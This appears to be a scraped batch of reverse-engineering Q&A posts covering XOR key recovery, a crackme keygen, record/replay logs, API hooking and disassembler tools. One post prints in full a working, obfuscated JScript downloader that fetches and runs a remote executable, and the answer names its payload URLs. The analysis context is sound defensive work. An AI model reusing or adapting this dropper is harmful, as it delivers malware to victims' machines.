        "Answer": "<p>The keys for your three messages appear to be <code>cf7810d22</code>, <code>42096edac</code> and <code>4ea34873a</code> respectively.  (Note: those are 9-byte ASCII text strings, not hex numbers, even though clearly all the characters appear to be hex digits!)</p>\n\n<hr>\n\n<p>OK, so how did I figure that out?</p>\n\n<p>First, before even looking at the code you posted, I just took the messages from your hex dump, converted them back into binary (using a quick Perl script), and XORed them together.  The resulting XORed messages look like this:</p>\n\n<pre><code>$ perl -0777 -E '$a = &lt;&gt;; $b = &lt;&gt;; print $a ^ $b' packet1.dat packet2.dat | xxd\n0000000: 0000 0000 0354 5704 0204 5603 5052 5457  .....TW...V.PRTW\n0000010: 0402 0456 0350 5254 5704 0204 5603 5052  ...V.PRTW...V.PR\n0000020: 5457 0402 0456 0350 5254 5704 0204 5603  TW...V.PRTW...V.\n0000030: 5052 5457 0402 0456 0350 5254 573b 6470  PRTW...V.PRTW;dp\n0000040: 4f56 b691                                OV..\n</code></pre>\n\n<p>XORing the ciphertexts together like this cancels out the plaintext (assuming that it's the same in both messages), leaving just the XOR of the keys.  We can see that there's a clear repeating 9-byte pattern in the XORed data, strongly suggesting that the messages have indeed been encrypted with a repeating 9-byte key.</p>\n\n<p>Now, if that was <em>all</em>, we could find the key simply by taking the known plaintext string <code>TestingTheKeyTestingTheKeyTestingTheKeyTestingTheKey</code>, XORing it with the ciphertext at different positions (since I didn't know exactly where the known plaintext would occur in the encrypted message), and looking for a result that looks like a plausible key.  In crypto jargon, this method is known as <a href=\"http://travisdazell.blogspot.in/2012/11/many-time-pad-attack-crib-drag.html\">crib dragging</a>, a term that dates back at least to <a href=\"https://en.wikipedia.org/wiki/Bletchley_Park\">Bletchley Park</a> during WWII.</p>\n\n<p>Alas, when I tried that, it didn't yield anything that looked anything like a repeating 9-byte text string, as I expected the key to be.  In fact, there were hardly any printable ASCII characters in the output at all.  Looking more closely at the ciphertext, I noticed that most of its bytes had the high bit set, something that <em>can't</em> happen when you XOR two ASCII characters together.  So clearly there had to be something else going on, too.</p>\n\n<p>At that point, I took a closer look at your (presumably previously reverse-engineered) decryption code, and realized that it actually XORed the message with <em>three</em> different byte streams:</p>\n\n<ol>\n<li>the repeating 9-byte key (applied starting from the sixth byte),</li>\n<li>the fifth byte of the ciphertext (<code>Incrementor</code>, presumably some kind of a message counter; this is what caused the high bits of each byte to be set, since in your messages it had values from <code>0xAD</code> to <code>0xAF</code>), applied to every following byte, and</li>\n<li>a byte value (<code>KeyVal</code>) that starts at zero and is incremented by one every time the key repeats, i.e. every ninth byte after the sixth.</li>\n</ol>\n\n<p>(The code also skips step 3 if <code>KeyVal</code> equals <code>Incrementor</code>, presumably to prevent the last two steps from canceling each other out.  That little quirk actually has little if any cryptographic significance, and in any case, it will never happen for these short messages with high <code>Incrementor</code> values.)</p>\n\n<p>Now, conveniently, the XOR operation, like addition, is commutative and associative &mdash; that is, if you XOR two or more bytes together, it doesn't matter which order you do it in: <code>(A XOR B) XOR C == A XOR (B XOR C) == A XOR (C XOR B) == (A XOR C) XOR B == ...</code>.  Thus, since I knew the <code>Incrementor</code> value for each message (since it's given <em>in</em> the encrypted message) and had a pretty solid guess for the repeating key length (which let me calculate <code>KeyVal</code> for each byte), I could just XOR each encrypted byte with those two values, leaving me with <em>just</em> the plaintext XORed with the repeating key.</p>\n\n<p>After that, it was easy enough to discover by crib-dragging that the known plaintext string actually starts two bytes after the beginning of the encrypted portion (and so seven bytes after the beginning of the whole message), and obtain the 9-byte key for each message.</p>\n\n<p>(What I <em>can't</em> tell from just your three sample messages is how those 9-byte key strings actually are generated, or how the game knows which key string to XOR a given message with.  For that, you may need to analyze more message packets and see if you can find any kind of pattern to the keys.)</p>\n"
    },
    {
        "Id": "11969",
        "CreationDate": "2016-02-08T16:23:03.903",
        "Body": "<p>I'm trying to get into reverse engineering and am beginning with .NET, attempting various CrackMes and KeygenMes that I've found on the internet. Until now, I haven't really struggled but this latest one is driving me mad:</p>\n\n<p><a href=\"https://tuts4you.com/download.php?view.1894\" rel=\"nofollow\">https://tuts4you.com/download.php?view.1894</a></p>\n\n<p>VT link if needed: <a href=\"https://www.virustotal.com/en/file/9bd07d7cbd053f6ad27792487679b18b2f72b589440d8ab81f9cdc4d84301178/analysis/1454947890/\" rel=\"nofollow\">https://www.virustotal.com/en/file/9bd07d7cbd053f6ad27792487679b18b2f72b589440d8ab81f9cdc4d84301178/analysis/1454947890/</a></p>\n\n<p>Decompiling with ILSpy reveals the license check performed:</p>\n\n<pre><code>    FileStream fileStream = new FileStream(\"key.dat\", FileMode.Open, FileAccess.Read);\n    StreamReader streamReader = new StreamReader(fileStream);\n    string text = streamReader.ReadToEnd();\n    byte[] bytes = Encoding.Unicode.GetBytes(this.TextBox1.Text);\n    SHA512 sHA = new SHA512Managed();\n    sHA.ComputeHash(bytes);\n    if (Operators.ConditionalCompareObjectEqual(this.CodeCrypt(text), Convert.ToBase64String(sHA.Hash), true))\n    {\n        Interaction.MsgBox(\"Good job, make a keymaker\", MsgBoxStyle.Information, \"Done\");\n    }\n    else\n    {\n        Interaction.MsgBox(\"Try again, it is very simple\", MsgBoxStyle.Critical, \"No ....\");\n    }\n    streamReader.Close();\n    fileStream.Close();\n</code></pre>\n\n<p>Here is the CodeCrypt method:</p>\n\n<pre><code>Key = \"AoRE\";\npublic string CodeCrypt(string text)\n{\n    string text2 = \"\";\n    int arg_0F_0 = 1;\n    int num = Strings.Len(text);\n    checked\n    {\n        for (int i = arg_0F_0; i &lt;= num; i++)\n        {\n            int num2 = i % Strings.Len(this.Key);\n            if (num2 == 0)\n            {\n                num2 = Strings.Len(this.Key);\n            }\n            text2 += Conversions.ToString(Strings.Chr(Strings.Asc(Strings.Mid(this.Key, num2, 1)) ^ Strings.Asc(Strings.Mid(text, i, 1)) - 6));\n        }\n        return text2;\n    }\n}\n</code></pre>\n\n<p>Seemed quite straight forward to reverse, so I generated my own key generation method:</p>\n\n<pre><code>    private static string Key(string name)\n    {\n        string key = \"\";\n\n        SHA512 sHA = new SHA512Managed();\n        string hash = Convert.ToBase64String(sHA.ComputeHash(Encoding.Unicode.GetBytes(name)));\n\n\n        for (int i = 1; i &lt;= hash.Length; i++)\n        {\n            int num2 = i % 4;\n            if (num2 == 0)\n            {\n                num2 = 4;\n            }\n            var test = Convert.ToChar((\"AoRE\"[num2 - 1] ^ hash[i - 1]) + 6);\n            key += test;\n        }\n        return key;\n\n    }\n</code></pre>\n\n<p>Then I wrote my license:</p>\n\n<pre><code> using (StreamWriter sw = new StreamWriter(File.Open(\"key.dat\", FileMode.Create), Encoding.Unicode))\n        sw.Write(Key(\"Tom\"));\n</code></pre>\n\n<p>But it fails. I set a breakpoint to see what the output from CodeCrypt() and the SHA512 hash was, and saw this:</p>\n\n<p>CodeCrypt: 8dmVQYHqap7MbFngePjLSxvaC9<strong>k</strong>VgaDiyR2p550IFO2kzGAuC9yWufBs5LZGbKeR/KAFGVTBb47z4sa686eBTA==\nSHA512: 8dmVQYHqap7MbFngePjLSxvaC9/VgaDiyR2p550IFO2kzGAuC9yWufBs5LZGbKeR/KAFGVTBb47z4sa686eBTA==</p>\n\n<p>The 27th character differs in these outputs and I just don't understand why. What am I missing here?</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "KeygenMe - My output has one wrong character",
        "Tags": "|decompilation|",
        "Answer": "<p>Your algorithm calculates the correct byte for each character of the base64 encoded hash, however your implementation of that byte's string encoding is not correct.</p>\n\n<p><code>Convert.ToChar()</code> simply casts the byte to a char.</p>\n\n<p>VB's <code>Strings.Chr()</code> converts the byte to unicode, using the system's current default code page. This is most likely Windows-1252 for US/Western Europe.</p>\n\n<p>For bytes <code>0x00-0x7F</code>, UTF-8 and Windows-1252 have the same binary representation. But things are different for bytes 0x80-0xFF, and it just so happens that the / character is the only character XOR'd to a value greater than 0x7F (it's 0x83).</p>\n\n<p>In Windows-1252, 0x80-0xFF represent single-byte extended characters.\nIn UTF-8, these extended characters require two bytes of storage: 0x01 0x92.</p>\n\n<p>This means that the crackme is buggy, because the license file depends on the system's character encoding (which could change).  The license file should have used unicode consistently.</p>\n\n<p>To fix your code, replace <code>Convert.ToChar()</code> with <code>Encoding.Default.GetString()</code></p>\n\n<pre><code>var test = Encoding.Default.GetString(\n               new[] { (byte)((\"AoRE\"[num2 - 1] ^ hash[i - 1]) + 6) });\n</code></pre>\n\n<p><strong>Edited to add</strong></p>\n\n<p>One thing I want to point out is that a char in C# is 2 bytes and stores a 16-bit unicode character (unlike C where a char is 1 byte). This is why casting and using the default encoding are different operations.</p>\n"
    },
    {
        "Id": "11974",
        "CreationDate": "2016-02-09T11:44:33.917",
        "Body": "<p>I'm after a very simple example log file with corresponding code, that expresses exactly what would need to be recorded to enable deterministic replay - for the purpose of record/replay debugging.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Very simple example log file - Recording program execution",
        "Tags": "|debugging|",
        "Answer": "<p>I'm not quite sure what you're after \u2013\u00a0the <em>minimum</em> you need to record for a given program to have a deterministic replay isn't well defined. In general, you choose some API boundary \u2013 for example, the system call interface, or some set of library calls, or even the interface between the OS and hardware \u2013\u00a0and then record there. Which API boundary you choose to record at will mean you have to record more or less information in order to guarantee deterministic replay; the question of how to find the API boundary that requires the least amount of storage has been explored in the paper <a href=\"http://research.microsoft.com/pubs/138804/itarget_fse2010.pdf\" rel=\"nofollow\">Language-Based Replay via Data Flow Cut</a>.</p>\n\n<p>But perhaps you're after something more practical \u2013\u00a0an example of a simple program and its corresponding record/replay log. This is something you can get very easily with e.g. <a href=\"https://github.com/mozilla/rr\" rel=\"nofollow\">Mozilla's rr</a>. Suppose we have the following simple program:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main(int argc, char **argv) {\n    printf(\"Hello world: %s\\n\", argv[1]);\n    return 0;\n}  \n</code></pre>\n\n<p>We can then record it under <code>rr</code>:</p>\n\n<pre><code>$ git/rr/bin/rr record ./hello foo\nrr: Saving the execution of `./hello' to trace directory `/home/moyix/.rr/hello-1'.\nHello world: foo\n</code></pre>\n\n<p>And then you can see the information that <code>rr</code> captured using <code>rr dump</code>; a selection of that looks like:</p>\n\n<pre><code>{\n  global_time:177, event:`SYSCALL: rrcall_init_buffers' (state:EXITING_SYSCALL) tid:83791, ticks:42871\n rax:0x7fa27fd0b000 rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x0 rdi:0x7ffd504447f0 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x0 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0x1bb\n}\n{\n  global_time:178, event:`SYSCALL: rt_sigprocmask' (state:ENTERING_SYSCALL) tid:83791, ticks:42872\n rax:0xffffffffffffffda rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x7ffd50444800 rdi:0x2 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x8 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0xe\n}\n{\n  global_time:179, event:`SYSCALL: rt_sigprocmask' (state:EXITING_SYSCALL) tid:83791, ticks:42872\n rax:0x0 rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x7ffd50444800 rdi:0x2 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x8 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0xe\n}\n{\n  global_time:180, event:`PATCH_SYSCALL' tid:83791, ticks:43212\n  { map_file:\"\", addr:0x7fa27fc2c000, length:0x1000, prot_flags:\"r-xp\", file_offset:0x0 }\n  { addr:0x7fa27fc2c000, length:0xe }\n  { addr:0x7fa27f71ff82, length:0x5 }\n  { addr:0x7fa27f71ff87, length:0x3 }\n  { addr:0x7fa27f9f3349, length:0x3a }\n}\n</code></pre>\n\n<p>You could also look at another recording interface, e.g. PANDA's. The <code>rr_print</code> utility in PANDA can print out the log of nondeterministic events, e.g.:</p>\n\n<pre><code>{guest_instr_count=4180 pc=0x8265a2c8, secondary=0x82743c28}\n        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1\n{guest_instr_count=4180 pc=0x8265a2c8, secondary=0x82743c28}\n        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_4\n{guest_instr_count=4207 pc=0x8d0703f6, secondary=0x848f9818}\n        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1\n{guest_instr_count=4207 pc=0x8d0703f6, secondary=0x848f9818}\n        RR_INPUT_4 129 from RR_CALLSITE_CPU_EXEC_2\n{guest_instr_count=4234 pc=0x83e3c35e, secondary=0x82750380}\n        RR_INPUT_8 3094319282304 from RR_CALLSITE_RDTSC\n{guest_instr_count=4451 pc=0x82a4809a, secondary=0x844318d0}\n        RR_INPUT_4 61 from RR_CALLSITE_IOPORT_READ\n{guest_instr_count=4844 pc=0x82a4809a, secondary=0x00000000}\n        RR_INPUT_4 61 from RR_CALLSITE_IOPORT_READ\n{guest_instr_count=4859 pc=0x82a4809a, secondary=0x00002ee0}\n        RR_INPUT_4 129 from RR_CALLSITE_IOPORT_READ\n{guest_instr_count=5576 pc=0x82655e7e, secondary=0x82746c00}\n        RR_INPUT_8 3094319823647 from RR_CALLSITE_RDTSC\n{guest_instr_count=5630 pc=0x82a34c86, secondary=0x82746c00}\n        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1\n</code></pre>\n\n<p>If you can clarify what you're looking I can likely give you a better answer here, though.</p>\n"
    },
    {
        "Id": "11981",
        "CreationDate": "2016-02-09T22:47:25.430",
        "Body": "<p>I always wondered how much time is needed to get rid of all that anti-VM/crypto/protector/anti-debug stuff (without analyzing actual payload and purpose), especially if you're dealing with malware on a daily basis? I would definitely like to get answer from AV industry experts.</p>\n",
        "Title": "What is the average time for \"defusing\" malware self-protection mechanisms?",
        "Tags": "|anti-debugging|malware|",
        "Answer": "<p>Based on a couple of years of performing and teaching (<a href=\"http://net.cs.uni-bonn.de/wg/cs/teaching-areas/labs-and-project-groups/malware-boot-camp/\" rel=\"nofollow\">Malware Bootcamp at University of Bonn, Germany</a>) reverse engineering with focus on malware analysis, I mostly try to skip any \"easy\" stepping stones (malware capability of detecting analysis environments, be it VM, debugger, ...) to get to an unpacked state of the malware and then focus analysis on this in IDA alongside debugging it.</p>\n\n<p>Preparation of your own tools, e.g. setting up a reasonably proportioned (cores, HDD space, RAM) and concealed (removal of VM fragments) VM as explained by CrazyFrog can automagically carry a lot of load in this domain. I think I rarely spend more than minutes (i.e. native runtime of packer) to get to that unpacked state.</p>\n\n<p>For understanding those protections and detections, otherwise +1 for <a href=\"http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf\" rel=\"nofollow\">Peter Ferrie's reference</a>. \nIf you want to step through those in a debugger, you can use my <a href=\"https://bitbucket.org/fkie_cd_dare/simplifire.antire\" rel=\"nofollow\">defanged open source implementation</a> of those.\nNewer detection approaches not covered by the above source frequently involve utilizing Windows Management Instrumentation (WMI). Often to achieve the same derivation of characteristics that can lead to the conclusion you are in an analysis environment.</p>\n\n<p>If there is protection in the sample itself, it's most often crypted strings or obfuscated API calls (Andromeda, Dridex, VM-Zeus come to mind), rarely execution-only decryption of code as seen in <a href=\"http://byte-atlas.blogspot.de/2015/08/knowledge-fragment-unwrapping-fobber.html\" rel=\"nofollow\">Fobber</a>. \nIn this case, it obviously becomes part of the analysis itself, or at least a pre-stage.</p>\n"
    },
    {
        "Id": "11994",
        "CreationDate": "2016-02-11T07:41:55.763",
        "Body": "<p>I have a friend with PC which is infected with some sort of \"RANSOMWARE\" - a type of malware where will encrypt your files(images,videos and documents) and ask for payment for decryption.</p>\n\n<p>I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to \"*.micro\" files) but recovering the infected data is a bit difficult and not much resources available online yet.</p>\n\n<p>Here is the .js script file that triggers the malware:</p>\n\n<pre><code>var _base64Idx = [\n/*43 -43 = 0*/\n/*'+',  1,  2,  3,'/' */\n62, -1, -1, -1, 63,\n\n/*'0','1','2','3','4','5','6','7','8','9' */\n52, 53, 54, 55, 56, 57, 58, 59, 60, 61,\n\n/*15, 16, 17,'=', 19, 20, 21 */\n-1, -1, -1, 64, -1, -1, -1,\n\n/*65 - 43 = 22*/\n/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */\n0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12,\n\n/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */\n13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,\n\n/*91 - 43 = 48 */\n/*48, 49, 50, 51, 52, 53 */\n-1, -1, -1, -1, -1, -1,\n\n/*97 - 43 = 54*/\n/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */\n26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,\n\n/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */\n39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51\n];\n\nfunction decode(input, output, offset) {\nvar out = output;\nif(!out) {\n    out = new Uint8Array(Math.ceil(input.length / 4) * 3);\n}\n\n// remove all non-base64 characters\ninput = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, '');\n\noffset = offset || 0;\nvar enc1, enc2, enc3, enc4;\nvar i = 0, j = offset;\n\nwhile(i &lt; input.length) {\n    enc1 = _base64Idx[input.charCodeAt(i++) - 43];\n    enc2 = _base64Idx[input.charCodeAt(i++) - 43];\n    enc3 = _base64Idx[input.charCodeAt(i++) - 43];\n    enc4 = _base64Idx[input.charCodeAt(i++) - 43];\n\n    out[j++] = (enc1 &lt;&lt; 2) | (enc2 &gt;&gt; 4);\n    if(enc3 !== 64) {\n        // decoded at least 2 bytes\n        out[j++] = ((enc2 &amp; 15) &lt;&lt; 4) | (enc3 &gt;&gt; 2);\n        if(enc4 !== 64) {\n            // decoded 3 bytes\n            out[j++] = ((enc3 &amp; 3) &lt;&lt; 6) | enc4;\n        }\n    }\n}\n\n// make sure result is the exact decoded length\nreturn output ?\n    (j - offset) :\n    out.subarray(0, j);\n}\n\nvar tEuosqyTkm = function (packedText) {\n\nvar buffer = [];\nvar length = decode(packedText, buffer);\nvar charCodeAt = \"charCodeAt\";\nvar result = \"\";\nfor (var i = 0; i &lt; length; i++) {\n    result += String.fromCharCode(buffer[i] ^ \"bVE6YUkX3beIQAEG\"[charCodeAt](i % \"bVE6YUkX3beIQAEG\".length));\n}\nreturn result;\n};\nvar aideN66 = function() {\nvar vapidAuw = function() {};\nvapidAuw.prototype.create = function(disapprobationQvY) {\n    return WScript.CreateObject(disapprobationQvY);\n};\nreturn vapidAuw;\n}();\n\n(function() {\nvar nettlepkm = new aideN66();\nvar banterKA3 = 200;\nvar inspireRpB = tEuosqyTkm('\"JRMR\"');\nvar pallidK2I = tEuosqyTkm('\"Jy4gVQ==\"');\nvar sultryiRC = tEuosqyTkm('\"NQUmRDAlH3ZgCgAlPQ==\"');\nvar constrainedfQW = tEuosqyTkm('\"LwUdexVnRQB+Li0dBRE=\"');\nvar interpolatevY1 = tEuosqyTkm('\"BDx8AAg0ABdDMA==\"');\nvar denouementpK3 = tEuosqyTkm('\"KgcBcCwRER56Jw==\"');\nvar gratisE9J = tEuosqyTkm('\"CG4EQWAYCg90Lg==\"');\nvar rangeuR2 = tEuosqyTkm('\"Jz0LeGwnBWwFIw==\"');\nvar broochIQm = tEuosqyTkm('\"MzoheDZsKhddBQ==\"');\nvar smatteringBY6 = tEuosqyTkm('\"NhQQXwwiOABAVA==\"');\nvar interminablecBc = tEuosqyTkm('\"MzwOBioiPyJwLQ==\"');\nvar sonorousmpK = tEuosqyTkm('\"IxIKchs=\"');\nvar evidentzgN = tEuosqyTkm('\"MSI3Uzg4\"');\nvar convalesceWKQ = tEuosqyTkm('\"RwIAewlwNw==\"');\nvar justifyaTv = tEuosqyTkm('\"TDM9Uw==\"');\nvar cedeWsU = Math.pow(2, 10) * 249;\nvar foilgEV = [ tEuosqyTkm('\"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H\"'), tEuosqyTkm('\"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H\"') ];\nvar suavityzSi = 2097152;\nvar flagHQx = nettlepkm.create(sultryiRC);\nvar endemicfVU = nettlepkm.create(constrainedfQW);\nvar evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('\"TA==\"') + evidentzgN);\nvar humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);\nvar weltPvA = humbleM87 + suavityzSi + justifyaTv;\nvar roseatef1b = false;\nfor (var masticatehJi = 0; masticatehJi &lt; foilgEV.length; masticatehJi++) {\n    try {\n        var invocationIOk = foilgEV[masticatehJi];\n        endemicfVU.open(inspireRpB, invocationIOk, false);\n        endemicfVU.send();\n        if (endemicfVU.status == banterKA3) {\n            try {\n                evidentv5F.open();\n                evidentv5F.type = 1;\n                evidentv5F.write(endemicfVU[tEuosqyTkm('\"EDM2RjY7GD1xDQEw\"')]);\n                if (evidentv5F.size &gt; cedeWsU) {\n                    masticatehJi = foilgEV.length;\n                    evidentv5F.position = 0;\n                    evidentv5F.saveToFile(weltPvA, 2);\n                    roseatef1b = true;\n                }\n            } finally {\n                evidentv5F.close();\n            }\n        }\n    } catch (ignored) {}\n}\nif (roseatef1b) {\n    flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));\n}\n})();\n</code></pre>\n\n<p>Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?</p>\n\n<p>Thank you :)</p>\n\n<p>P.S. FYI, this \"ransomware\" script circulating through emails as attachment since 9th of Feb 2016.</p>\n",
        "Title": "RANSOMWARE SCRIPT decryption",
        "Tags": "|malware|ransomware|",
        "Answer": "<p>This is just a simple downloader script.</p>\n\n<p>it will download and run an executable from </p>\n\n<p>hxxp://helloyoungmanff.com/26.exe (link does not works)</p>\n\n<p>hxxp://helloyoungmanqq.com/26.exe (link works)</p>\n\n<p><a href=\"https://www.virustotal.com/en/file/d567d414aa263c2e55e9869f1a7a361e4d1b684ecf4b189015c605525645d0f4/analysis/1455187915/\" rel=\"nofollow\">VT URL</a></p>\n"
    },
    {
        "Id": "12002",
        "CreationDate": "2016-02-11T16:14:37.220",
        "Body": "<p>I've been trying to detour a nullsub, this function is used with log purposes, but as the program is compiled under release flags it got removed and I'd like to restore it.</p>\n\n<p>IDA reports as follow:</p>\n\n<pre><code>.text:004BAC10 ; void __thiscall nullsub_2(void *)\n.text:004BAC10 nullsub_2       proc near       \n.text:004BAC10                 retn\n.text:004BAC10 nullsub_2       endp\n</code></pre>\n\n<p>My attempt is to detour this address with my own log function, but Microsoft Detours 3.0 throws <strong>ERROR_INVALID_BLOCK</strong> </p>\n\n<p>I think I get this error as it does not have space to place the jump function, and I don't have any idea how I can fix it.</p>\n",
        "Title": "Detour null function",
        "Tags": "|ida|c++|function-hooking|",
        "Answer": "<p>Based on <a href=\"http://pastebin.com/qDMP0yz0\" rel=\"nofollow\">http://pastebin.com/qDMP0yz0</a>, you have enough space to make this work.</p>\n\n<p>The easiest solution is to patch your target executable such that the data from Virtual Address <code>0x004BAC10</code> through <code>0x004BAC1E</code> is all <code>nop</code>s (<code>0x90</code> bytes), and patch in a <code>retn</code> (<code>0xC3</code> byte) at Virtual Address <code>0x004BAC1F</code>.</p>\n\n<p>You'll then be able to detour the function with Microsoft Detours.</p>\n\n<p>If patching the EXE isn't an option, let us know and I can look at Detours to suggest what needs to be changed in the Detours library itself.</p>\n"
    },
    {
        "Id": "12008",
        "CreationDate": "2016-02-11T19:23:03.657",
        "Body": "<p><a href=\"https://i.stack.imgur.com/PCt3C.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PCt3C.png\" alt=\"IDA screen shot\"></a></p>\n\n<p>How do I get the <code>8B 45 FC</code> corresponding to the  <code>mov     eax, [rbp+var_4]</code>\netc. via idapython?</p>\n\n<p>I did not come up with a better solution than</p>\n\n<ol>\n<li>Getting the instruction via <code>idautils.DecodeInstruction()</code></li>\n<li>Getting the instruction's size in bytes</li>\n<li>Looping over all bytes of the instruction and fetching the content via <code>idc.Byte()</code></li>\n</ol>\n\n<p>Is there a better solution, e.g. an api call (which I did not find)?</p>\n",
        "Title": "Idapython: How to get the opcode bytes corresponding to an instruction?",
        "Tags": "|idapython|idapro-sdk|",
        "Answer": "<p>Another solution:</p>\n\n<pre><code>ea = ScreenEA() # Or whatever you want\nbuf = idc.GetManyBytes(ea, ItemSize(ea))\n</code></pre>\n"
    },
    {
        "Id": "12012",
        "CreationDate": "2016-02-12T17:38:25.150",
        "Body": "<p>I am new to reverse engineering code. I am currently trying to reverse engineer code that is poorly documented. The reason being is that my system will be based of the code I am reverse engineering. It is currently too complex to simple go through.</p>\n\n<p>A friend of mine recommend I use a diagram called a USES diagram. He explained is as such. The diagram displays the modules and how each module connects to one another. The arrows display the data transfer between the modules. IT can be described that M1 uses M12 uses M2.</p>\n\n<p>I have been looking on the net to find a better description of this and how I can create such a diagram and how I can define a module. I am attempting to define the architecture of the program. Unfortunately, a google search turned up very little.</p>\n\n<p>I was wondering, is there another name for this type of diagram? I was describing it to another friend and he says that it sounded like a special case of a UML diagram.</p>\n",
        "Title": "What is a USES Diagram?",
        "Tags": "|code-modeling|",
        "Answer": "<p>It sounds like your friend is describing a <a href=\"https://en.wikipedia.org/wiki/Dependency_graph\" rel=\"nofollow\">dependency graph</a>.</p>\n"
    },
    {
        "Id": "12014",
        "CreationDate": "2016-02-12T17:55:31.500",
        "Body": "<p>I am totally blind and want to learn to do reverse engineering so I can advance my career. Unfortunately, IDA Pro, Immunity and OllyDbg are all not accessible to a blind person using a screenreader.</p>\n\n<p>Are there any good alternatives on both windows and Linux for these tools?\nI have used gdb on Linux a little and WinDbg on windows as well.</p>\n\n<p>I just need a recommendation on what is industry standard if the three biggies can't be used?</p>\n\n<p>Thanks,\nDon</p>\n",
        "Title": "Best alternatives to IDA Pro, Immunity and OllyDbg for a blind user",
        "Tags": "|ida|ollydbg|tools|",
        "Answer": "<p>Sorry for the late answer but I only now noticed this question.</p>\n\n<p><em>Disclaimer</em>: I work at Hex-Rays, mainly on IDA development.</p>\n\n<p>It so happens that we have a few blind users. With their help, in recent versions of IDA (especially 6.95) we made big improvements for accessibility, especially on Windows and Linux (OS X is working somewhat but not as well). So I suggest you to try <a href=\"https://www.hex-rays.com/products/ida/support/download_demo.shtml\" rel=\"noreferrer\">the demo version</a> to see how it works with your screen reader. Feel free to contact us with any issues; we're always willing to make IDA even more accessible.</p>\n"
    },
    {
        "Id": "12019",
        "CreationDate": "2016-02-12T22:21:56.330",
        "Body": "<p>I am wanting to examine changes made to Windows after an update is made. I would like to see the actually files that were patched and see what in the code might have been changed and see what the problem was.</p>\n\n<p>So if windows updates MS0xxx buffer overflow. I would like to see what the problem was and what was changed to fix it.</p>\n\n<p>Is there a way to do this ? </p>\n",
        "Title": "Get bindiff of operating system or modified files post upgrade",
        "Tags": "|windows|patch-reversing|operating-systems|bin-diffing|",
        "Answer": "<blockquote>\n  <p>I would like to see the actually files that were patched ...</p>\n</blockquote>\n\n<ul>\n<li>Old-school: <a href=\"http://download.cnet.com/Winalysis/3000-2162_4-10047818.html\" rel=\"nofollow noreferrer\">Winalysis</a></li>\n<li>New-school: <a href=\"https://en.wikipedia.org/wiki/Attack_Surface_Analyzer\" rel=\"nofollow noreferrer\">Attack Surface Analyzer</a></li>\n</ul>\n\n<blockquote>\n  <p>... and see what in the code might have been changed and see what the problem was.</p>\n</blockquote>\n\n<p>As @Neitsa said, see <a href=\"https://reverseengineering.stackexchange.com/questions/1879/how-can-i-diff-two-x86-binaries-at-assembly-code-level\">how can I diff two x86 binaries at assembly code level?</a></p>\n"
    },
    {
        "Id": "12022",
        "CreationDate": "2016-02-13T05:07:04.877",
        "Body": "<p>Learning how to use radare2 while getting the feel for crackmes.  Following the steps for Flare-on 2015 Challenge One on hxxp://solidsec.blogspot.com/2015/10/ctf-fire-eye-flareon-2015-challenges-1-3.html (change hxxp to http, not enough cred to embed the link after adding the two pictures :-( sorry)</p>\n\n<ul>\n<li>Load exe using r2 -A </li>\n<li>go to address 0x00402140 </li>\n<li>px 0x18</li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/fAGju.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fAGju.png\" alt=\"enter image description here\"></a></p>\n\n<p>I get all FFs.  </p>\n\n<p>The documentation of the site shows actual values versus all FFs as seen below:\n<a href=\"https://i.stack.imgur.com/iCGY6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iCGY6.png\" alt=\"enter image description here\"></a></p>\n\n<p>Why?  </p>\n\n<p>Problem with my copy of radare2 (running off of Remnux) or not loading the exe right into r2?  I realize the number of variables here is just about endless, but hoping it is just something simple that I'm missing due to being new to RE.  Thanks!</p>\n",
        "Title": "Radare2 Flare-on 2015, Why results different?",
        "Tags": "|radare2|",
